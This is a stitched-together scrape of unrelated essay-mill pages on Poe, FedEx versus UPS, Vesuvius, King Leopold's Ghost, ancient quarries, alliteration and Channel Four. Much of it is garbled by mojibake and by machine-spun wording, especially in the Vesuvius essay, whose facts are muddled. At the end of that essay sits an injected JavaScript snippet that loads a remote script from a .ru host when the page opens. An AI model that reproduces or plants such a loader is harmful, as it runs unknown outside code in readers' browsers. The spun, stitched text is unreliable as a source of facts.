Analysing the Black Cat Using Labovs Narrative Structure

OBJECTIVES For this assignment, the study aims to: 1. produce a frequency chart according to the elements of Labov’s Narrative Structure 2. discuss the way Edgar Allen Poe structured his short story to form the elements of tragedy, mystery and terror as presented in the short story In completing the task, I will use Labov’s Narrative Theory to conduct narrative analysis of the short story, The Black Cat written by Edgar Allan Poe. The structure of this essay begins with the introduction to narrative and narrative analysis. The second part develops in the literature review where I will explain Labov’s Narrative Structure and introducing the author of the story, Edgar Allan Poe. The section ends with the discussion of The Black Cat†¦show more content†¦By looking at many narratives, they wish to identify and relate formal linguistic properties of narratives to their functions. Labov and Waletzky have come out with a framework functions as a tool in analyzing narrative literary text linguistically. The understanding behind this framework is narrative can be seen as socially situated through sociolinguistic approach. Cortazzi (1993) stresses that narrative is more than a linear order of narrative structure. In fact, if a narrative plainly follows the order or sequence of this circular structure, perhaps it may be abnormal. Narrative is an author’s personal touch and it serves as an additional function of personal interest, determined by a stimulus in the social context in which the narrative occurs. Definition given by Toolan (2001), is comprehensively acceptable that narrative is defined as a perceived sequence of non-randomly events, typically involving, as the experiencing agonist, humans or quasi-humans, or other sentient beings, from whose experience we human can ‘learn’. He also extends the definition by stating that our preference is often for the sequence of connected events to take shape around a state or period of turbulence or crisis, subsequently resolved that is while a sequence of events entails some sort of change of state, a sequence containing a resolved crisis or problems entails a pronounce change of state. The Importance of Narrative Analysis (NA) of Literary Text Stories are in important

FedEx VALUE CREATION AND ECONOMIC PROFIT United Parcel...

MEIHO UNIVERSITY CASE STUDY FOR FINANCIAL MANAGEMENT CASE 4: The Battle for Value, 2004: FedEx Corp. vs. United Parcel Service, Inc. VALUE CREATION AND ECONOMIC PROFIT Lecture: é  ¾ ç ´ ¹ 熙 è€  Ã¥ ¸ « Group 3: F49802134 èÆ' ¡ ç §â€¹ è â€° F49802153 é «Ëœ 玉 ä º « ç ® ® Presentation date: 16th Apr 2012 I. OUTLOOK OF CASE 4 Case 4 mentions about the competition between two leading companies in package- delivery market. FedEx which is the largest foreign presence in China, with 11 weekly flights, serving 220 Chinese cities, so the company’s volumes in China had grown by more than 50% between 2003 and 2004. UPS which is the world’s largest package-delivery company and dominant parcel carrier in US, serving 200 cities in 2003. FedEx had†¦show more content†¦Ever true to its humble origins, the company maintains its reputation for integrity, reliability, employee ownership, and customer service. For UPS, the future promises even more accomplishments as the next chapter in the company s history is written. III. THE BATTLE BETWEEN FEDEX AND UPS 1. Competition in the Express-Delivery Market a. Percentage of large shippers FEDEX RULES AIRS AND UPS RULES GROUND (%) Overall, the two companies split the small segment of the Express-Delivery market. There are ground market and air-express market. While UPS has dominated the ground area, the air-express has often been FedEx’s playground. b. Capital-investment expenditures The graph shows that from 1992 to 2003, cumulative capital Expenditures of FedEx and UPS regularly rise. Although the FedEx’s CCE is more than UPS, during this period, the two companies matched each other’s investments in capital almost exactly. c. Price competition Table1: Summary of Announced List-Rate Increase UPS 1998 1999 2000 2001 2002 2003 2004 Average UPS ground 3.6% 2.5% 3.1% 3.1% 3.5% 3.9% 1.9% 3.1% U.S domestic air 3.3% 2.5% 3.5% 3.7% 4.0% 3.2% 2.9% 3.3% U.S export 0.0% 0.0% 2.9% 2.9% 3.9% 2.9% 2.9% 2.2% FedEx 1998 1999 2000 2001 2002 2003 2004 Average FedEx ground 3.6% 2.5% 3.1% 3.1% 3.5% 3.9% 1.9% 3.1% U.S domestic air 3.5% 2.8% 0.0%Show MoreRelatedUnited States Post Office Dilemma5655 Words   |  23 Pagesï » ¿ United States Post Office Dilemma Sustainable Solutions Paper The Post Office Department known as the United States Postal Services (USPS) (Annual Report, 2009) today, is a dominate player in the mail delivery arena and has been existence since 1776. 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Vesuvius Essay Research Paper Mt Vesuvius ItalyLocation free essay sample

Vesuvius Essay, Research Paper Mt. Vesuvius, Italy Location: 40.8N, 14.4E Elevation: 4,200 pess ( 1,281 m ) Vesuvius is celebrated for the monolithic eruption in 79 A.D. that buried the towns of Herculaneum and Pompeii. Earthquakes often hit this country. The 79 A.D. eruption of Vesuvius was the first volcanic eruption of all time to be described in item. From 18 stat mis ( 30 kilometer ) of the vent you could see the eruption. It is estimated that at times during the eruption the column of ash was 20 stat mis ( 32 kilometer ) tall. About 1 three-dimensional stat mi ( 4 three-dimensional kilometres ) of ash was erupted in approximately 19 hours. Around 1:00 autopsy on the 24 of August a tall cloud of steam and ash rose above Mt. Vesuvius and debris began to fall. In the country around Pompeii the thickness of falling dust increased by 6 to 8 inches per hr. The stones which comprised the dust were up to 3 inches in diameter, and fell with a velocity of up to 100 miles/hour. We will write a custom essay sample on Vesuvius Essay Research Paper Mt Vesuvius ItalyLocation or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page They may hold caused hurts and stray deceases, and should hold, after a few hours, caused the prostration of roofs. The metropolis was shortly covered in complete darkness. The occupants likely did non even cognize what sort of event was striking them, and waited in their places, trusting that the shower of stone would sooner or subsequently come to an terminal. R / gt ; After 12 hours of uninterrupted explosive activity, a alteration in the eruptive kineticss occurred. The oral cavity of the vent widened such that local gas force per unit area could no longer force up the tall ash column. The mixture of gas and ash no longer rose up into the sky, but instantly fell back onto the inclines of the vent, organizing glowing avalanches of hot fluxing stuff ( about 800 grades ) which rushed quickly down incline, destructing everything in their waies. This alteration in the eruption proved fatal to the 1000s of people around the vent. The Roman towns of Pompeii and Herculaneum were destroyed in a affair of proceedingss. The metropolis was abandoned and its location forgotten. ( Other eruptions of Vesuvius. ) Mudflows and lava flows from the eruption in 1631 killed 3,500 people. About 3,360 people died in the 79 A.D. eruption from ash flows and falls. . In 5960 B.C. and 3580 B.C. , Mt. Vesuvius had eruptions that rate among the largest known in Europe. In 1595, diggings discovered artefacts at Pompeii and centuries of plundering followed. Archaeological diggings began in the mid-nineteenth century. There are legion casts of people in their concluding minutes. Now, much of Pompeii has been excavated and it has revealed much about how people lived during that clip ( and died during the eruption ) . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

King Leopolds Ghost Essays - Congo Free State, E. D. Morel

King Leopold's Ghost King Leopold's Ghost tells a story of the Belgian King Leopold II and his misrule of an African colony, named (at the time) the Congo Free State. It is a wild and unpleasant story of a man's capacity for evil and the peculiar manifestation of it. In telling this story, Hochschild does a wonderful job of giving detailed descriptions, especially of the colorful individuals involved, both good and bad. His analysis of the situation is very solid, starting with the movement when the Congolese hero (Morel) finds out a very terrible fact and moving on through his (Morel) analysis and actions, all the while telling the story of a treacherous monster. Set in the palaces and boardrooms of Europe and in the villages of central Africa, it tells the story of the tragedy that took place during Leopold's so called rule, a tragedy that is so familiar to African-Americans, being told of our African brothers residing in the homeland. This horror story is just in fact that, a horror story, giving and revealing the utter most secrets of the respected King Leopold. Allow me to take you on a journey, pointing out the King's determination and, reasoning for what he'd done and the scars he left deep within the heart of the Congo. In the introduction I stated that Morel was the character that I considered to be the hero of this story, now the main question behind that would be, why? Along with, Who is Morel? His complete name was Edmund Dene Morel; he was a young clerk who worked for a Liverpool based firm where his duties were to supervise the unloading and reloading of the ships arriving in Antwerp, Belgium. As Morel watched the shipments arrive he noticed something, a great amount of ivory and rubber were being transported into Belgium but nothing was being taken out, as the book states: There is no trade going on here. Little or nothing is being exchanged for the rubber and ivory?with almost no goods being sent to Africa to pay for them, he realizes that there can be only one explanation for their source: slave labor. (p.2) With his newfound revelation at hand Morel does not sit still. Demonstrating that he refused to turn a blind eye to what fortune had allowed him to see, he soon becomes active with his newfound knowledge. Soon afterward Morel devoted his life to stopping slavery in the Congo. From the early 1900's until after the death of Leopold in 1909, Morel, having become a radical human rights campaigner, used the information smuggled out of the Congo by missionaries and Leopold's employees, to set up the Congo Reform Association (CRA) and mount a campaign that won the support of prominent politicians and churchmen, both in Britain and in the United States. Among these supporters was the highly respected Joseph Conrad (author of Heart of Darkness). So what about this Mr. King Leopold? As of now you must understand that he has done something far worse than inhabit slave labor and import ivory and rubber to have caused such a controversy across the world? Simply, Leopold wanted a colony, any colony to give his position some leverage; he felt that by owning more than just his small country, that he'd somehow be validated as a King. Since he'd noticed the world flying by him quickly with new developments and technological advancements, not to mention anyone who was anyone owned a piece of the colonialism pie, Leopold just had to have his piece. Leopold feeling squeezed out by the British, French Empires, and the rising power of Germany, studied forms of colonialism from the Dutch East Indies, to the British possession in Indian and Africa. Leopold's regime, despite his studies, differed from those of those of his fellow colonialists. Leopold schemed to build himself a forced labor camp on a massive expanse of central Africa and was quite smooth with pulling all of this off. Through methods of bribery, chicanery, brute force and almost supernatural sense of cunning, Leopold had acquired an enormous private colony in Africa and gotten the rest of the worked to accept his claim as legally binding. In 1884 Leopold gained recognition for the

Quarry Sites - The Archaeological Study of Ancient Mining

Quarry Sites - The Archaeological Study of Ancient Mining To an archaeologist, a quarry or mine site is where a particular raw material- stone, metal ore, or clay- was mined in the past to be used to make stone tools, to carve blocks for building or statuary, or to make ceramic pots. Significance Some quarries used by ancient people were located near their point of use, regularly visited and fiercely protected from other groups as part of claimed territory. Other quarries, especially those for portable goods such as stone tools, were hundreds of miles away from the point of use, where the stone tools were found. In those cases, the people might have found the quarry on a hunting trip, made tools there and then carried the tools with them for a few months or years. Some high quality materials might also have been traded as part of a long distance exchange network. Artifacts made from far away resources are called exotic compared to local artifacts. Quarry sites are significant because they provide a wealth of information concerning the day-to-day living of people in the past. How well did a particular group understand and use the resources in their neighborhoods? How important was it for them to use high quality materials, and for what? How do we determine what a high quality resource means for an object or building? Questions Posed at Quarries At the quarry site itself, there might be evidence of the technical knowledge a society had about mining, such as the types of tools they used to excavate and shape materials. Quarry sites can also have workshops- some quarries were also production sites, where objects might be partly or completely finished. There might be tool marks on the outcrop showing how the workers pried the material out. There might be spoil heaps and discarded materials, which can illustrate what attributes that made a resource unusable. There might be encampments, where the miners lived while they were working. There might be inscriptions on the outcrops, such as notes about the quality of the material, or prayers to gods for good luck, or graffiti from bored miners. There could also be cart ruts from wheeled vehicles or other evidence of infrastructure suggesting how the material was transported to the point of use. The Challenge of Quarries Quarries are difficult to discover, because sometimes they are hard to see and scattered across the region. Outcrops of a particular source can cover many acres across a wide landscape. An archaeologist could find a stone tool or a pot or a stone structure at an archaeological site, but finding where the raw material to make that object or building came from is difficult, unless there are already quarries for that type of material that have been identified. Potential quarry sources can be found by using bedrock maps of the area, which are produced for the U.S. by the United States Geological Survey, and for the United Kingdom by the British Geological Survey: similar government-backed bureaus can be found for almost any country. Finding an outcrop open to the surface near an archaeological site, and then looking for evidence there that it was mined, can be an effective technique. Evidence could be tool marks, or excavation pits or campsites; but those might be difficult to identify if hundreds or thousands of years have passed since the quarry was used. Once a potential quarry has been identified, the archaeologist submits samples to a laboratory for sourcing, a process that breaks down the chemical or mineral content of a material, using Neutron Activation Analysis, or X-ray Fluorescence or another analytical tool. That provides a greater assurance that the proposed connection between tool and quarry is likely correct. However, quarries can vary in quality and content within a single deposit, and it may be that the chemical make up of the object and the quarry may never be perfectly matched. Some Recent Studies The following are some recent quarry studies, only a fraction of the available research which has been conducted. Wadi Dara (Egypt). This gold and copper mine was used during the Early Dynastic and Old Kingdom periods (3200–2160 BCE). Evidence includes pit trenches, tools (grooved stone axes and pounding slabs), smelting sites and slags from furnaces; as well as several huts where the miners lived. Described in Klemm and Klemm 2013. Carn Menyn (Preseli Hills, Wales, UK). The unique blend of rhyolites and dolerites at Carn Menyn mine were quarried for the 80 bluestones at Stonehenge, 136 miles (220 km) away. Evidence includes a scattering of broken or abandoned pillars of the same size and proportion as those at Stonehenge, and some hammer stones. The quarry was used before and after Stonehenge was built, between 5000–1000 BCE. See Darvill and Wainright 2014. Rano Raraku and Maunga Puna Pau Quarries (Rapa Nui aka Easter Island). Rano Raraku was the source of the volcanic tuff which was used to sculpt all 1,000 of the Easter Island statues (moai). The quarry faces are visible and several uncompleted statues are still connected to the bedrock. Described in Richards and others . Maunga Puna Pau was the source for the red scoria hats the moai wear, as well as other buildings used by the people of Rapa Nui between 1200–1650 CE. Described in Seager 2014. Rumiqolqa (Peru). Rumiqolqa was a quarry where Inca Enpire (1438–1532 CE) stonemasons excavated andesite for temples and other structures in the capital city of Cusco. Mning operations here entailed the creation of pits and cuts on the quarry landscape. Huge stone blocks were cut by using wedges placed in natural fractures, or by creating a line of holes then using wooden or bronze poles as pry bars, rock hammers and stone and bronze chisels. Some stones were further reduced in size before being dragged along the Inca road to their final destination. Inca temples were made of a variety of materials: granite, diorite, rhyolite, and andesite, and many of those quarries have been found and reported by Dennis Ogburn (2013). Pipestone National Monument (USA). This national monument in southwestern Minnesota was used as a source for catlinite, one of several mines scattered through the midwest that produce a sedimentary and metamorphic rock that was used by Native American communities to manufacture ornaments and pipes. Pipestone NM is known to have been an important religious and quarry site for historic period Native American groups during the 18th and 19th centuries CE. See Wisserman and colleagues (2012) and Emerson and colleagues (2013). Sources Bloxam, Elizabeth. Ancient Quarries in Mind: Pathways to a More Accessible Significance. World Archaeology 43.2 (2011): 149–66. Print.Darvill, Timothy, and Geoffrey Wainwright. Beyond Stonehenge: Carn Menyn Quarry and the Origin and Date of Bluestone Extraction in the Preseli Hills of South-West Wales. Antiquity 88.342:1099–14 (2014). Print.Emerson, Thomas, et al. The Allure of the Exotic: Reexamining the Use of Local and Distant Pipestone Quarries in Ohio Hopewell Pipe Caches. American Antiquity 78.1 (2013): 48–67. Print.Klemm, Rosemarie, and Dietrich Klemm. Gold Production Sites and Gold Mining in Ancient Egypt. Gold and Gold Mining in Ancient Egypt and Nubia. Natural Science in Archaeology: Springer Berlin Heidelberg, 2013. 51–339. Print.Kloppmann, W., et al. Tracing Medieval and Renaissance Alabaster Works of Art Back to Quarries: A Multi-Isotope (Sr, S, O) Approach. Archaeometry 56.2 (2014): 203–19. Print.Ogburn, Dennis E. Variation in Inca Bui lding Stone Quarry Operations in Peru and Ecuador. Mining and Quarrying in the Ancient Andes. Eds. Tripcevich, Nicholas and Kevin J. Vaughn. Interdisciplinary Contributions to Archaeology: Springer New York, 2013. 45–64. Print. Richards, Colin, et al. Road My Body Goes: Re-Creating Ancestors from Stone at the Great Moai Quarry of Rano Raraku, Rapa Nui (Easter Island). World Archaeology 43.2 (2011): 191–210. Print.Seager Thomas, Mike. Stone Use and Avoidance on Easter Island: Red Scoria from the Topknot Quarry at Puna Pau and Other Sources. Archaeology in Oceania 49.2 (2014): 95–109. Print.Summers, Geoffrey D., and Erol Ãâ€"zen. The Hittite Stone and Sculpture Quarry at Karakiz Kasabasi and Hapis Bogazi in the District of Sorgun, Yozgat, Central Anatolia. American Journal of Archaeology 116.3 (2012): 507–19. Print.Tripcevich, Nicholas, Jelmer W. Eerkens, and Tim R. Carpenter. Obsidian Hydration at High Elevation: Archaic Quarrying at the Chivay Source, Southern Peru. Journal of Archaeological Science 39.5 (2012): 1360–67. Print.Uchida, Etsuo, and Ichita Shimoda. Quarries and Transportation Routes of Angkor Monument Sandstone Blocks. Journal of Archaeological Science 40.2 (2013): 1158–64. Print.Wisseman, Sarah U., et al. Refining the Identification of Native American Pipestone Quarries in the Midcontinental United States. Journal of Archaeological Science 39.7 (2012): 2496–505. Print.

A Beginner’s Guide to Alliteration

A Beginner’s Guide to Alliteration A Beginner’s Guide to Alliteration A little alliteration can liven up even the limpest literature. So if you’re not sure what this is, or why that first sentence is full of â€Å"L† words, you may want to check out our guide. We’ll also look at two related poetic techniques: consonance and assonance. What Is Alliteration? Alliteration occurs when we use the same sound repeatedly in a sentence. This is often at the start of a word, but it can also be at the start of a stressed syllable in a word. You may have seen alliteration used in poetry, particularly in tongue twisters. For example, the nursery rhyme â€Å"Peter Piper† uses the letter â€Å"p† alliteratively: Peter Piper picked a peck of pickled peppers. A peck of pickled peppers Peter Piper picked. If Peter Piper picked a peck of pickled peppers, Wheres the peck of pickled peppers Peter Piper picked? This is a case of alliteration where the whole point is to be tricky to say! Why Use Alliteration in Poetry? Usually, poets use alliteration to create a mood in a poem or to give it rhythm. For example, take the first stanza of Edgar Allen Poe’s â€Å"The Raven†: Once upon a midnight dreary, while I pondered, weak and weary, Over many a quaint and curious volume of forgotten lore-   Ã‚  Ã‚   While I nodded, nearly napping, suddenly there came a tapping, As of some one gently rapping, rapping at my chamber door. â€Å"’Tis some visitor,† I muttered, â€Å"tapping at my chamber door-   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Only this and nothing more.† Here, we have multiple cases of alliteration that combine with the rhyme scheme to give the text a strong rhythm and emphasize certain words. Poe does the same throughout the poem. Sometimes, you can also use alliteration to evoke a mood or image. A good example of this is sibilance, which involves the repetition of soft â€Å"S† sounds: The snake slithered silently across the sand. Here, the repetition of â€Å"S† sounds like the hiss of a snake. As such, the sound of the sentence reinforces the image it describes, like in onomatopoeia. Other Uses of Alliteration Many people use alliteration to make language memorable, including in: Company and brand names (e.g., Coca Cola, Dunkin’ Donuts) Slogans (e.g., Jaguar’s â€Å"Don’t dream it. Drive it.†) Titles of books, movies, etc. (e.g., Black Beauty, Doctor Doolittle) Character names (e.g., Mickey Mouse, Peter Parker) In all these cases, the repetition makes the phrase catchier and more striking. Assonance and Consonance Finally, we should look at two techniques related to alliteration: assonance and consonance. These both involve repetition of sounds, but they’re not quite the same as alliteration. Assonance is repetition of vowel sounds. For example, the repetition of â€Å"oo† in â€Å"Your spooky bassoon went boom as I fell through my stool.† Consonance is repetition of consonant sounds in any part of a word, not just at the start. For instance, â€Å"The vegan dog hugged the ugly frog† is consonance but not alliteration. This is because the repeated â€Å"G† occurs in different parts of the words, not just at the start of stressed syllables. You can use assonance and consonance to make writing more rhythmic or memorable. This is especially common in poetry, but, as with alliteration, it is also effective in other contexts.

To what extent does Channel Four continue to fulfil its original remit Essay

To what extent does Channel Four continue to fulfil its original remit Is that remit still relevant in the current broadcasting environment - Essay Example The recent reality show of the Big Brother has been a huge hit among the viewers of the UK. From its humble beginnings, the channel has matured to one of the most popular channels in the UK. In 1995, Brookside attracted nine million viewers. â€Å"Four Weddings and a Funeral† drew eleven million viewers. These programs have been an integral part of the success of the channel. The channel has been following its remit in the broadcast of its programs. The remit of the company as stated in its website is as follows: â€Å"Foster the new and experimental in television.   It will encourage pluralism, provide a favored place for the untried and encourage innovation in style content perspective and talent on and off screen†. (Twenty years of Channel 4; Statement of promises). Throughout its history, the channel has been introducing programs that have been hardly viewed by the people of the UK earlier. The remit of the channel has been to introduce innovation in the programs in the channel. The channel has a full repertoire of programs ranging from drama, films, comedy, documentaries etc. Channel 4 has covered almost all the genres of entertainment. The channel has been targeting the youth with its programs, which has been attacked by Sir Jeremy Isaacs, the founder of the channel. In his words, "To target and reach a demographically clearly defined audience - the 18-35 year-olds - and single-mindedly commission a bulk of programmes that suits their tastes, however laddish or yobbish." (Twenty years of Channel 4) The choice of the programs in the case of the channel has been increasingly linked to the needs of the younger generation. The use of the adultery, sex etc. in the programs has been popular. This has been seen in the case of all the genres of the programs. In the case of comedy, the programs like â€Å"Balls of Steel† have a rich content of adult humor. The program